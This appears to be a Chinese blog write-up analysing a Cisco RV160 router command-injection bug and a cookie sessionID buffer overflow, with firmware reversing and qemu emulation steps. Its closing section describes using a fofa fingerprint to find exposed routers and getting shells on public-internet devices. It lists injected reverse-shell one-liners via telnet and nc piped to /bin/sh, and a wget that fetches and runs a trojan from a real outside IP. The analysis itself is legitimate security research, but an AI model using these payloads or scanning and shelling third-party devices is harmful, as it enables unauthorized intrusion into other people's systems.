Cisco Rv160 远程命令执行漏洞分析
Cisco Rv160 远程命令执行
0x01 漏洞详情
https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-rv160-260-rce-XZeFkNHf.html
0x02 固件解包
解开固件包,定位到mini_httpd 的web 组件
arm 架构
根据httpd 检索出了两个文件。
0x03 mini_httpd 分析
问题1
在进行IDA 分析cisco 160W 0.1 版本的mini_httpd 时,遇到了如下问题,但是并不影响反汇编F5。
根据网上查阅的信息来看,这是因为栈帧不平衡,需要手动调整栈帧。
https://www.cnblogs.com/DorinXL/p/13657972.html
https://blog.csdn.net/feibabeibei_beibei/article/details/85238676
mini_httpd 分析
分析这个漏洞的时候,我并没有很仔细的查看漏洞相关分析文章,而是直接解开固件,进行分析,抱着一种如果当时是自己在分析这个固件,应该会从哪个方面入手的想法,是否可以发现漏洞点和漏洞触发的方式。
接下来我将分享我对这个漏洞分析的逻辑与思路,首先我将mini_httpd 组件放入到IDA中,在逆向分析的过程中,由于对mini_httpd 源码已经大致看过了,因此,我对mini_httpd 组件的中的反汇编代码依次进行分析。
根据上面的截图的 _libc_start_main()函数的定义,可以确定 mian 参数是 mini_httpd中的main 函数。
根据mini_httpd组件中mini_httpd.c 的源码和本固件的mini_httpd 来对比,sub_11FA0() 函数就是mini_httpd.c 中的mian()函数。
进入到sub_11FA0()函数中,可以看到mini_httpd 的版本是1.27的。
在函数的底部找到了处理 进程的 handle_request() 函数。
进入到handle_request,我根据mini_httpd.c 的源代码对比反汇编出来的handle_request 函数进行比对,找出mini_httpd中开发者二次开发的代码。
根据 mini_httpd.c 中的hand_request() 函数源码来看,mini_httpd 反汇编出来的代码并没有 do_dir() 函数。
在跟进了mini_httpd.c 中的do_dir()函数的代码后,do_dir()函数通过调用auth_check()函数处理当前访问的文件路径是否符合访问权限。
进入到 do_file() 函数中,这个函数有两个要值得注意的点,首先在mini_http.c 源代码中,有一个auth_check()函数,该函数适用于对文件进行权限认证的函数,只有经过权限认证后,才能访问其他的文件,但是在Cisco RV160 的组件Mini_httpd的反汇编代码do_file()并没有这个函数,因此埋下了后面不需要认证即可出发漏洞的隐患。另一个是sub_1A58() 函数,这个函数在min_httpd.c中并不真实存在,因而这个函数是开发者二次开发留下的代码,传入dword_35164 的值作为参数。
进入到sub_1AF58() 函数,该函数最终会将传入的dword_35164的值给v5, 然后将格式化的字符串调用system 函数进行执行。
0x04 漏洞分析
根据前面的Cisco Rv160W 固件中mini_httpd和mini_httpd.c 源代码进行比对分析。在sub_1AF58() 函数中存在执行命令的漏洞,并且需要到达漏洞函数sub_1AF58(),函数的参数dword_35164 中要有 “ download/ “ 字符串,才能跳转到do_file() 函数
接个根据参数往上一层追溯,该函数的参数dword_35164 中要有 “ dniapi/ “ 字符串,才能跳转到do_file() 函数,根据上面strncmp函数,可以判定参数的格式为”/download/dniapi”
char *strstr(const char *haystack, const char *needle) 在字符串 haystack 中查找第一次出现字符串 needle 的位置,不包含终止符 ‘\0’
在dword_34F60 的值将赋值给dword_35164。
而dword_34F60 的值则在如下的代码中进行解析,这个部分的代码在mini_httpd.c 中是一样的。
接下来分析在sub_1AF58()函数中的漏洞点,其中dword_35180的值是Authorization的值,而获取的值中要包含 “ Basic ” 字符串。
Authorization:
0x05 环境搭建
首先查看文件系统的指令架构,文件系统位ARM
1 |
|
配置qemu 之前的环境
1 |
|
配置IP,保证qemu 和宿主机网络能畅通。
把固件文件系统拷贝到qemu 中。
1 |
|
挂载关键目录
mount -t proc /proc/ ./proc/
mount -t devtmpfs /dev/ ./dev/
挂载指的是将硬件设备的文件系统和Linux 系统中的文件系统,通过指定目录(作为挂载点)进行关联,而要将文件系统挂载到Linux系统上,就需要使用mount挂载命令。
mount 设备文件名 挂载点
chroot 出现了错误。
chroot: failed to run command `./bin/sh’: Permission denied
解决方案
chmod -R 777 ./cisco_RV160
启动mini_httpd.init 文件。
1 |
|
根据执行mini_httpd.init 的报错信息来看,setsockopt()函数调用时报错,这个函数的定义如下。
定义函数:int setsockopt(int s, int level, int optname, const void * optval, ,socklen_toptlen);
函数说明:setsockopt()用来设置参数s 所指定的socket 状态
这里我们直接使用加载LD_PRELOAD 来进行hook,这里要注意的是hook和setsockopt一样的函数,包括名称、变量及类型、返回值及类型等。
查看mini_httpd 中setsockopt函数的定义
1 |
|
编译hook_setsockopt.c
tigerortiger@ubuntu ~/i/g/c//////u/4/rootfs>
arm-linux-gnueabi-gcc -shared -fPIC hook_setsockopt.c -o hook_setsockopt
tigerortiger@ubuntu ~/i/g/c//////u/4/rootfs> file hook_setsockopt
hook_setsockopt: ELF 32-bit LSB shared object, ARM, EABI5 version 1 (SYSV), dynamically linked, BuildID[sha1]=7708ce4cab994360cc2082b5e82caf10f7ba881e, not stripped
启动 mini_httpd
1 |
|
batch
ARM 汇编的NOP 指令是 mov r0,r0 。直接patch sub_1B5F0 为NOP, 这样就不会报错了,程序继续往下执行。
重新启动mini_http 组件,可以看到设备的访问界面了。
1 |
|
0x06 远程调试漏洞
开启远程调试
1 |
|
远程连接
1 |
|
发送POC
1 |
|
断点到0x001b11c 处,可以看到我们拼接的字符串“ ;touch /tmp/happyhacking;”
执行完了之后,成功执行命令。
公网测试
公网设备指纹:在fofa上搜索 header=”frame-ancestors ‘self’ ‘unsafe-inline’ ‘unsafe-eval’; script-src ‘self’ ‘unsafe-inline’ ‘unsafe-eval’; style-src ‘self’ ‘unsafe-inline’ ‘unsafe-eval’”
经过测试,可以获取到shell。
通过telnet 获取shell
;telnet ip port1 | /bin/sh | telnet ip port2;
通过nc 获取shell,nc 没有-e 的功能。
;nc ip port1 | /bin/sh | nc ip port2;
通过木马程序获取shell
设备的指令架构为armv7L
;wget http://8.141.70.26:9008/chell_armv7L -O /tmp/qqqqq;chmod 777 /tmp/qqqqq;./chell_armv7L 8.141.70.26 9004;
缓冲区溢出漏洞分析
在handle_request 函数中有如下代码,获取cookies 的值
定义函数:int strncasecmp(const char *s1, const char *s2, size_t n);
函数说明:strncasecmp()用来比较参数s1 和s2 字符串前n个字符,比较时会自动忽略大小写的差异。
返回值:若参数s1 和s2 字符串相同则返回0。s1 若大于s2 则返回大于0 的值,s1 若小于s2 则返回小于0 的值。
定义函数: size_t strspn(const char *str1,const char *str2)
函数说明: 检索字符串str1中第一个不在字符串str2中出现的字符下标
返回值:该函数返回str1中第一个不在字符串str2中出现的字符下标
下图的代码的意思是,先判断字符串中存在“Cookie: ” 字符串,如果有,那就获取cookes 的值。strspn(s1+7,”\t”) 的意思是获取cookies 的值最后的下标。
接下来看那个函数是用来cookies 的值。
但是在哪之前,sub_169F0()函数,这个函数是用来判断当前请求的url资源内容是否需要登录才能访问。
进入到sub_1625C函数中,a1 的值是cookies ,代码是判断cookies 不为空就进入到sub_16138函数。
进入到sub_16138函数中。从这个函数中,可以看出来,这个函数是获取cookeis 的值中的sessionID 的值。
char *strstr(const char *haystack, const char *needle)** 在字符串 haystack 中查找第一次出现字符串 needle 的位置,不包含终止符 ‘\0’
char *strtok(char *str, const char *delim) 分解字符串str为一组字符串,delim为分隔符。delim 包含分隔符的C字符串。
返回值:该函数返回被分解的第一个字符串,如果没有可检索的字符串,则返回一个空指针。
sub_15CE4()函数中,形参a2 指向空字符,所以其实最后就是未限制sessionID长度在strcpy时的溢出
参考
Cisco RV160W 系列路由器漏洞:从1day 分析到0day挖掘
https://mp.weixin.qq.com/s/8qviTeiuJb5XU8jDdHMW8Q
bindiff 文件对比参考RX40 的文章
交叉编译出和这个固件相同的ARM EABI5。使用的交叉工具链为arm-linux-gnueabihf-gcc
https://blog.csdn.net/xukai871105/article/details/37345857
使用qemu chroot 进行固件本地调试
http://blog.nsfocus.net/qemu-chroot/
mount 挂载的相关资料
https://www.cnblogs.com/sparkdev/p/9015312.html
ARM 汇编NOP指令的二进制
https://blog.csdn.net/zhangmiaoping23/article/details/43309455
curl 详解